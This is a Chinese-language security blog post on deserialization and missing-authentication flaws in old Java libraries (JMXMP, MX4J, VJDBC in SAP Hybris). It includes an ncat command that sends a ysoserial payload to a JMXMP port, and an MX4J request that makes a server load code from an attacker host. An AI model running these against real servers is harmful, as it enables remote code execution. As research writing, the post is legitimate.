<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Old Java Libraries 漏洞

    Andrew2020-09-02 17:49:16

    Java以其向后兼容而聞名。只要使用適當版本的Java,您仍然可以執行多年以前編寫的代碼。多虧了這一特性,現代項目使用了大量在生產中經過“時間測試”的庫。但是,此類庫通常在很長一段時間內都不受維護者支持。結果,當您發現庫中的漏洞時,您可能會發現很難報告問題并警告使用該庫的開發人員。

    以下是一些與舊庫有關的問題的示例,我最近在利用漏洞作為各種錯誤賞金計劃的一部分時遇到了這些問題。

    JMX和JMXMP

    JMX(Java管理擴展)是一種用于監視和管理Java應用程序的著名且廣泛使用的技術。自從Java反序列化“apocalypse”以來,對于安全專家來說,它是眾所周知的。JMX使用RMI協議進行傳輸,這使得它天生就容易受到Java反序列化攻擊。但是,Oracle引入了規范JEP-290(JDK≥8u121,≥7u131,≥6u141),這使此類攻擊變得更加困難。

    事實證明,根據JMX規范(JSR-160),JMX還支持其他傳輸協議(稱為連接器),包括專門為JMX創建的JMX消息傳遞協議(JMXMP)。但是,該協議未包含在Java SE中,因此從未普及。與RMI相比,JMXMP的主要優點之一是JMXMP只需要一個TCP端口(RMI使用一個靜態端口作為RMI注冊表,而另一個動態選擇的端口用于與客戶端的實際交互)。當您需要使用防火墻限制訪問或要設置端口轉發時,此事實使JMXMP更加方便。

    盡管實現JMXMP的庫(jmxremote_optional.jaropendmk_jmxremote_optional_jar-1.0-b01-ea.jar)至少有十年沒有更新,但JMXMP仍然存在,并不時地被使用。例如,在Kubernetes環境中使用了JMXMP,最近在Elassandra中添加了對JMXMP的支持。

    JMXMP的問題在于該協議完全依賴Java序列化進行數據傳輸。同時,針對JMX / RMI漏洞的Oracle補丁沒有覆蓋JMXMP,這使其易于受到Java反序列化攻擊的影響。要利用此漏洞,您甚至無需了解協議或數據格式,只需將來自ysoserial的序列化有效負載直接發送到JMXMP端口即可:

    ncat target.server.com 11099 < test.jser
    

    如果您無法利用此Java反序列化漏洞(由于應用程序類路徑中缺少小工具),您仍然可以使用其他方法,例如上載MBean或濫用現有MBean方法。為了連接到這樣的JMX,您需要下載必要的軟件包,將其添加到類路徑中,并使用以下格式指定JMX端點:service:jmx:jmxmp://target.server.com:port /

    例如:

    jconsole -J-Djava.class.path="%JAVA_HOME%/lib/jconsole.jar";"%JAVA_HOME%/lib/opendmk_jmxremote_optional_jar-1.0-b01-ea.jar" service:jmx:jmxmp://target.server.com:port/
    

    您也可以使用MJET,但是它需要對代碼進行類似的更改。

    MX4J

    MX4J是JMX的開源實現。它還提供了一個HTTP適配器,該適配器通過HTTP公開JMX(它作為servlet)。MX4J的問題是默認情況下它不提供身份驗證。為了利用它,我們可以使用MLet部署自定義MBean(上傳并執行代碼)。要上傳有效負載,可以使用MJET。要強制MX4J獲取MBean,您需要發送GET請求至:

    /invoke?objectname=DefaultDomain:type=MLet&operation=getMBeansFromURL&type0=java.lang.String&value0=http://yourserver/with/mlet
    

    MX4J尚未更新15年,但已被Cassandra等軟件使用(非默認配置)。您現在的“homework”是要更深入地研究并搜索漏洞。請注意,使用Hessian和Burap協議作為JMX連接器,它們在默認配置中也容易受到反序列化攻擊。

    VJDBC

    虛擬JDBC是一個舊庫,可通過其他協議(HTTP,RMI)使用JDBC提供對數據庫的訪問。在使用HTTP的情況下,它提供了一個Servlet,您可以使用該Servlet發送包含SQL查詢的特殊HTTP請求,并從Web應用程序使用的DB接收結果。不幸的是,VJDBC還使用Java序列化(通過HTTP)與Servlet進行交互。

    如果使用Google搜索該詞,則幾乎所有搜索結果都與SAP Hybris相關。SAP Hybris是許多大型企業使用的主要電子商務/ CRM平臺。默認情況下,SAP Hybris公開vjdbc-servlet易受Java反序列化(CVE-2019-0344)引起的RCE的影響(并且在過去也存在其他嚴重的安全問題)。此漏洞的測試已于2019年9月添加到Acunetix 。不幸的是,SAP似乎僅修復了其內部版本的VJDBC,因此依賴于該庫的所有其他軟件都容易受到攻擊,其創建者可能未意識到該問題。

    漏洞jmx
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Tomcat的一種利用方式
    2022-12-12 10:05:47
    訪問/manager/html輸入用戶名和密碼,自動在里面上傳war進行部署顯然這不歸Tomcat負責,應該由用戶保證自己的賬號和密碼安全TomcatManager為的管理采用了作者名作HTTP Basic認證,也就是用戶名作認證后的Base64保護。這Tomcat也是官方拒絕該漏洞的原因之一,他們認為基于JMXProxy實現的RCE攻擊和類似的,由用戶負責安全public class LockOutRealm extends CombinedRealm { /** * 用戶連續認證失敗的次數 * 被鎖定。
    Old Java Libraries 漏洞
    2020-09-02 17:49:16
    Java以其向后兼容而聞名。JMXMP的問題在于該協議完全依賴Java序列化進行數據傳輸。同時,針對JMX / RMI漏洞的Oracle補丁沒有覆蓋JMXMP,這使其易于受到Java反序列化攻擊的影響。請注意,使用Hessian和Burap協議作為JMX連接器,它們在默認配置中也容易受到反序列化攻擊。此漏洞的測試已于2019年9月添加到Acunetix 。不幸的是,SAP似乎僅修復了其內部版本的VJDBC,因此依賴于該庫的所有其他軟件都容易受到攻擊,其創建者可能未意識到該問題。
    但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。
    這篇文章主要收集一些常見的未授權訪問漏洞。未授權訪問漏洞可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷導致其他用戶可以直接訪問從而引發重要權限可被操作、數據庫或網站目錄等敏感信息泄露。
    干貨|最全的Jboss漏洞復現筆記
    未授權訪問漏洞可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷導致其他用戶可以直接訪問從而引發重要權限可被操作、數據庫或網站目錄等敏感信息泄露。
    JBoss是一個基于J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,可以在任何商業應用中免費使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。由于JBoss遵循商業友好的LG
    Andrew
    暫無描述
      亚洲 欧美 自拍 唯美 另类